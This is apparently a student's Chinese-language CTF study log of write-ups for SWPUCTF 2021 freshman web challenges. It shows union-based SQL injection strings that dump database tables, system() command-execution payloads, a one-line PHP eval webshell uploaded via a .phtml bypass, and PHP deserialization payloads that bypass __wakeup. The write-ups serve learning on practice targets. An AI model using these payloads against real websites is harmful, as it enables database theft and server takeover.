学习记录1

来交周报咯（

目录

[SWPUCTF 2021 新生赛]jicao

[SWPUCTF 2021 新生赛]easy_sql

[SWPUCTF 2021 新生赛]easyrce 

 [SWPUCTF 2021 新生赛]ez_unserialize

[SWPUCTF 2021 新生赛]easyupload2.0

[SWPUCTF 2021 新生赛]no_wakeup

---

[SWPUCTF 2021 新生赛]jicao

先来道简单的，审码

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

 post和get请求，post就不说了，在配payload时,json_decode可以将json对象中json格式的字符串转换为php中的关联数组，所以json参数设置为：json={"x":"wllm"}

[SWPUCTF 2021 新生赛]easy_sql

再来看道sql注入的题目，sql注入是一种常见的网络应用程序安全漏洞，攻击者可以利用该漏洞，通过发送恶意sql代码，从数据库中获取敏感信息，修改或删除数据，或者对整个数据库造成破坏。

先根据题目要求传参，url/?wllm=1

接下来开始检查是否存在sql注入漏洞

接下来开始进行查询，发现一共有三列,your loginname应该在第二列， password在第三列

?wllm=-1' order by 3--+

?wllm=-1' oder by 4--+

//--+的作用是将整个注入攻击代码后的内容都注释掉，绕过过滤

查询数据库

?wllm=-1' union select 1,2,database()--+

接下来查询表名

?wllm=-1' union select 1,2,group concat（table_name）from information_schema.tables where table_schema='test_db'--+

//information_schema存储了数据库元数据信息,可以从这里查看表，列等信息

查询字段

?wllm=-1'union select 1,2,group_concat(column_name)from information_schema.columns where  table_name='test_tb'--+

接下来查询在test_tb库里查询flag ，然后就结束了

?wllm=-1'union select 1,2,flag from test_tb--+

[SWPUCTF 2021 新生赛]easyrce 

浅浅复习一下rce，这道题什么绕过也没有，那就直接传参执行命令

?url=system("ls ");

回根目录找找

?url=system("ls/");

 ?url=system("cat /flllllaaaaaaggggggg");

 [SWPUCTF 2021 新生赛]ez_unserialize

然后让我来复习一下反序列化，SHCTF没做出来，这次来道简单的

这里有robot.txt文件，访问

访问这个cl45s.php文件可以看到题目

 

审码,传参为p，发现include函数，我们要触发destruct方法，反序列化后自动触发，但是我们可以看到创建对象后construct方法会将admin和oasswd对象赋值

<?php
class wllm{

public $admin="admin";
public $passwd="ctf";

}
$a = new wllm;
echo serialize($a);
?>

得到poc链

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

传参

[SWPUCTF 2021 新生赛]easyupload2.0

文件上传

ctrl+u后没有发现什么有用的，上传个一句话木马试试

<?php @eval ($_POST[a]);?>

发现不能上传php文件

但可以上传phtml文件

用蚁剑链接一下

（请无视我上传的乱七八糟的东西）之后找到flag文件

[SWPUCTF 2021 新生赛]no_wakeup

绕过wake_up,之前在shctf见过一次

wake_up()方法会在反序列化时自动触发，绕过方法是在poc链中使成员数大于实际成员数

<?php

class HaHaHa {
    public $admin = "admin";
    public $passwd = "wllm";
}

$a = new HaHaHa();
echo serialize($a);
?> 

payload：?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

之后就可以获得flag了

感谢阅读